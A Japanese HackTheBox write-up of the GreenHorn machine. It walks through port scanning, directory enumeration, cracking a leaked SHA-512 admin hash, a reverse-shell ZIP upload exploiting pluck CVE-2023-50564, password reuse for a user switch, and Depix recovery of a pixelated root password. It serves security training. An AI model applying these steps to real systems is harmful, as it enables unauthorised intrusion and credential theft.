はじめに
本記事はHackTheBoxのWriteupです。
Machineは、GreenHornです。
GreenHornでは、pluckの脆弱性やピクセル化されたスクリーンショットからプレーンテキストを復元する技術について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 23:44 JST
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_ 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=59ba9a99d43299b4; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=u_3igAQuIkkL7OkHFA530K0AkIU6MTczMTY4MTkwMzQ0MjAwNTI2Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 15 Nov 2024 14:45:03 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=8477dadfed03223d; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=chra5dE-AVK0RWnSqxrUvtLCqgM6MTczMTY4MTkxMDUzMDM4MjQwMQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 15 Nov 2024 14:45:10 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=11/15%Time=67375E70%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(GetRequest,1530,"HTTP/1\.0\x20200\x20OK\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gi
SF:tea=59ba9a99d43299b4;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Co
SF:okie:\x20_csrf=u_3igAQuIkkL7OkHFA530K0AkIU6MTczMTY4MTkwMzQ0MjAwNTI2Mw;\
SF:x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Op
SF:tions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2015\x20Nov\x202024\x2014:45:03\
SF:x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"th
SF:eme-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoi
SF:R3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA
SF:6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbm
SF:hvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciL
SF:CJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAv
SF:YX")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Al
SF:lowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0
SF:,\x20private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_l
SF:ike_gitea=8477dadfed03223d;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\n
SF:Set-Cookie:\x20_csrf=chra5dE-AVK0RWnSqxrUvtLCqgM6MTczMTY4MTkxMDUzMDM4Mj
SF:QwMQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Fr
SF:ame-Options:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2015\x20Nov\x202024\x2014:
SF:45:10\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.56 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後greenhorn.htb
にアクセスすると、以下の様な画面が表示されます。
コンテンツ探索
GreenHornのサイトを調査するため、gobuster
を用いてコンテンツ探索を行います。
$ gobuster dir -u http://greenhorn.htb/ -w /usr/share/wordlists/dirb/common.txt -b 302
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://greenhorn.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 302
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin.php (Status: 200) [Size: 4026]
/data (Status: 301) [Size: 178] [--> http://greenhorn.htb/data/]
/docs (Status: 301) [Size: 178] [--> http://greenhorn.htb/docs/]
/favicon.ico (Status: 404) [Size: 162]
/files (Status: 301) [Size: 178] [--> http://greenhorn.htb/files/]
/images (Status: 301) [Size: 178] [--> http://greenhorn.htb/images/]
/info.php (Status: 404) [Size: 16]
/phpinfo.php (Status: 404) [Size: 16]
/robots.txt (Status: 200) [Size: 47]
/swfobject.js (Status: 404) [Size: 162]
/xmlrpc.php (Status: 404) [Size: 16]
/xmlrpc_server.php (Status: 404) [Size: 16]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記結果よりadmin.php
にアクセスすると、pluckと呼ばれるPHPで実装されたCMSのログイン画面(login.php
)にリダイレクトされます。
login.php
はトップページのフッタに設定されているadminのリンクと同じです。ログインするためには、パスワードが必要なため引き続き調査します。
コード調査
3000番ポートを指定してアクセスすると、Giteaの画面が確認できます。
Giteaは、Gitやプロジェクト管理機能などを提供する自己ホスト型のDevOpsプラットフォームです。また、Go言語を用いてオープンソースで開発されています。
ExploreからGreenAdmin/GreenHornのリポジトリにアクセスします。認証は不要です。
GreenAdmin/GreenHornのリポジトリからGreenHornのサイトに関するソースコードが確認できます。
ローカルで調査するため、GreenAdmin/GreenHornのリポジトリをクローンします。
$ git clone http://greenhorn.htb:3000/GreenAdmin/GreenHorn.git
Cloning into 'GreenHorn'...
remote: Enumerating objects: 517, done.
remote: Counting objects: 100% (517/517), done.
remote: Compressing objects: 100% (395/395), done.
remote: Total 517 (delta 60), reused 517 (delta 60), pack-reused 0
Receiving objects: 100% (517/517), 1.06 MiB | 719.00 KiB/s, done.
Resolving deltas: 100% (60/60), done.
認証情報を探したところ、data/settings/pass.php
ファイルを発見しました。
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
SHA512でハッシュ化されているため、hashcatを用いて解析します。
$ hashcat -m 1700 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 5600X 6-Core Processor, 6892/13848 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 3 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:*********
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1700 (SHA2-512)
Hash.Target......: d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe...790163
Time.Started.....: Sat Nov 16 00:11:23 2024 (0 secs)
Time.Estimated...: Sat Nov 16 00:11:23 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1556.0 kH/s (4.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12288/14344385 (0.09%)
Rejected.........: 0/12288 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> hawkeye
Hardware.Mon.#1..: Temp: 78c Util: 99%
Started: Sat Nov 16 00:11:22 2024
Stopped: Sat Nov 16 00:11:25 2024
取得したハッシュ値のパスワードを用いてログインできました。
脆弱性分析
pluckのバージョンは4.7.18であることが判明しているため、pluckのバージョン情報を基に脆弱性を調査すると、CVE-2023-50564の脆弱性が確認できました。
この脆弱性は細工したZIPファイルをアップロードすることで、任意のコードを実行できる可能性があります。
システムハッキング
Google検索で発見したPoCを参考にしながら足場を作ります。
アクセスの獲得
リバースシェルを組み込んだzipファイルを作成して、admin.php?action=installmodule
にアップロードすることで、シェルが取得できます。
listening on [any] 4444 ...
connect to [<Your IP address>] from greenhorn.htb [10.10.11.25] 56272
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/<zip file name>$
ユーザーフラグ
カレントディレクトリは、/html/pluck/data/modules/<zip file name>
ディレクトリです。
水平展開を行うにあたり/home
ディレクトリ配下のユーザーを確認します。
total 8
drwxr-x--- 2 git git 4096 Jun 20 06:36 git
drwxr-xr-x 3 junior junior 4096 Jun 20 06:36 junior
既に取得済みの認証情報を用いて、juniorユーザーに切り替えることができます。
$ su - junior
ユーザーフラグが確認できます。
total 64
-rw-r----- 1 root junior 33 Nov 16 14:00 user.txt
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
ルートフラグ
juniorユーザーホームディレクトリにある'Using OpenVAS.pdf'
ファイルを分析します。
ファイルはPDFファイル形式です。
$ file 'Using OpenVAS.pdf'
Using OpenVAS.pdf: PDF document, version 1.7, 1 page(s)
PDFファイルの中身を確認すると、ルートユーザーのみOpenVASを実行できることが書かれています。
しかし、sudoコマンドは何も設定されていません。
junior is not in the sudoers file. This incident will be reported.
興味深いのはパスワードにぼかしが入っていることです。この様な画像の場合、ピクセル化のプロセスを逆にすることで、元のテキストやコンテンツを表示することができます。
Depixというツールを使用することで、ピクセル化されたスクリーンショットからプレーンテキストを復元することができます。
以下のコマンドを実行してテストができます。
$ python tool_show_boxes.py -p images/testimages/testimage3_pixels.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-11-17 00:28:01,966 - Loading pixelated image from images/testimages/testimage3_pixels.png
2024-11-17 00:28:01,972 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-11-17 00:28:02,463 - Finding color rectangles from pixelated space
2024-11-17 00:28:02,464 - Found 116 same color rectangles
2024-11-17 00:28:02,464 - 86 rectangles left after moot filter
2024-11-17 00:28:02,464 - Found 1 different rectangle sizes
2024-11-17 00:28:02,464 - Finding matches in search image
2024-11-17 00:28:02,464 - Scanning 86 blocks with size (5, 5)
2024-11-17 00:28:02,478 - Scanning in searchImage: 0/1674
2024-11-17 00:28:25,354 - Removing blocks with no matches
上記コマンドを実行後、しばらくすると以下の様な画面が表示されます。
準備ができたらPDFファイルから画像を抽出します。
$ pdfimages -j Using\ OpenVAS.pdf output
実行すると、以下の様なファイルが生成されます。
-rw-rw-r-- 1 kali kali 18914 11æ 17 00:32 output-000.ppm
抽出されたファイルはPPM形式になっているいます。Depixツールが使用できるようにするためには、PNG形式に変換します。
$ ffmpeg -i output-000.ppm output-000.png
ffmpeg version 7.0.2-3 Copyright (c) 2000-2024 the FFmpeg developers
built with gcc 14 (Debian 14.2.0-2)
configuration: --prefix=/usr --extra-version=3 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --disable-libmfx --disable-omx --enable-gnutls --enable-libaom --enable-libass --enable-libbs2b --enable-libcdio --enable-libcodec2 --enable-libdav1d --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable-libgme --enable-libgsm --enable-libharfbuzz --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-openal --enable-opencl --enable-opengl --disable-sndio --enable-libvpl --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-ladspa --enable-libbluray --enable-libcaca --enable-libdvdnav --enable-libdvdread --enable-libjack --enable-libpulse --enable-librabbitmq --enable-librist --enable-libsrt --enable-libssh --enable-libsvtav1 --enable-libx264 --enable-libzmq --enable-libzvbi --enable-lv2 --enable-sdl2 --enable-libplacebo --enable-librav1e --enable-pocketsphinx --enable-librsvg --enable-libjxl --enable-shared
libavutil 59. 8.100 / 59. 8.100
libavcodec 61. 3.100 / 61. 3.100
libavformat 61. 1.100 / 61. 1.100
libavdevice 61. 1.100 / 61. 1.100
libavfilter 10. 1.100 / 10. 1.100
libswscale 8. 1.100 / 8. 1.100
libswresample 5. 1.100 / 5. 1.100
libpostproc 58. 1.100 / 58. 1.100
Input #0, ppm_pipe, from 'output-000.ppm':
Duration: N/A, bitrate: N/A
Stream #0:0: Video: ppm, rgb24, 420x15, 25 fps, 25 tbr, 25 tbn
Stream mapping:
Stream #0:0 -> #0:0 (ppm (native) -> png (native))
Press [q] to stop, [?] for help
Output #0, image2, to 'output-000.png':
Metadata:
encoder : Lavf61.1.100
Stream #0:0: Video: png, rgb24(pc, gbr/unknown/unknown, progressive), 420x15, q=2-31, 200 kb/s, 25 fps, 25 tbn
Metadata:
encoder : Lavc61.3.100 png
[image2 @ 0x561ae1a01600] The specified filename 'output-000.png' does not contain an image sequence pattern or a pattern is invalid.
[image2 @ 0x561ae1a01600] Use a pattern such as %03d for an image sequence or use the -update option (with -frames:v 1 if needed) to write a single image.
[out#0/image2 @ 0x561ae1a01500] video:0KiB audio:0KiB subtitle:0KiB other streams:0KiB global headers:0KiB muxing overhead: unknown
frame= 1 fps=0.0 q=-0.0 Lsize=N/A time=00:00:00.04 bitrate=N/A speed=1.63x
上記コマンド実行後、PNG形式のファイルが生成されます。
-rw-rw-r-- 1 kali kali 512 11æ 17 00:35 output-000.png
PNG形式のファイルであることを確認します。
以下の様なコマンドを実行して、復元を試みます。
$ python depix.py -p /tmp/output-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /tmp/cracked.png
2024-11-17 00:39:27,548 - Loading pixelated image from /home/kali/work/htb/GreenHorn/output-000.png
2024-11-17 00:39:27,555 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-11-17 00:39:28,037 - Finding color rectangles from pixelated space
2024-11-17 00:39:28,038 - Found 252 same color rectangles
2024-11-17 00:39:28,038 - 190 rectangles left after moot filter
2024-11-17 00:39:28,038 - Found 1 different rectangle sizes
2024-11-17 00:39:28,038 - Finding matches in search image
2024-11-17 00:39:28,038 - Scanning 190 blocks with size (5, 5)
2024-11-17 00:39:28,063 - Scanning in searchImage: 0/1674
2024-11-17 00:40:07,282 - Removing blocks with no matches
2024-11-17 00:40:07,283 - Splitting single matches and multiple matches
2024-11-17 00:40:07,286 - [16 straight matches | 174 multiple matches]
2024-11-17 00:40:07,286 - Trying geometrical matches on single-match squares
2024-11-17 00:40:07,542 - [29 straight matches | 161 multiple matches]
2024-11-17 00:40:07,542 - Trying another pass on geometrical matches
2024-11-17 00:40:07,765 - [41 straight matches | 149 multiple matches]
2024-11-17 00:40:07,765 - Writing single match results to output
2024-11-17 00:40:07,765 - Writing average results for multiple matches to output
2024-11-17 00:40:10,823 - Saving output image to: /tmp/cracked.png
上記コマンド実行後cracked.png
ファイルを確認すると、パスワードが確認できます。
-rw-rw-r-- 1 kali kali 2563 11æ 17 00:40 cracked.png
取得したパスワードを用いて、ルートユーザーに昇格できます。
おわりに
Depixツールについて学びがある面白いMachineでした。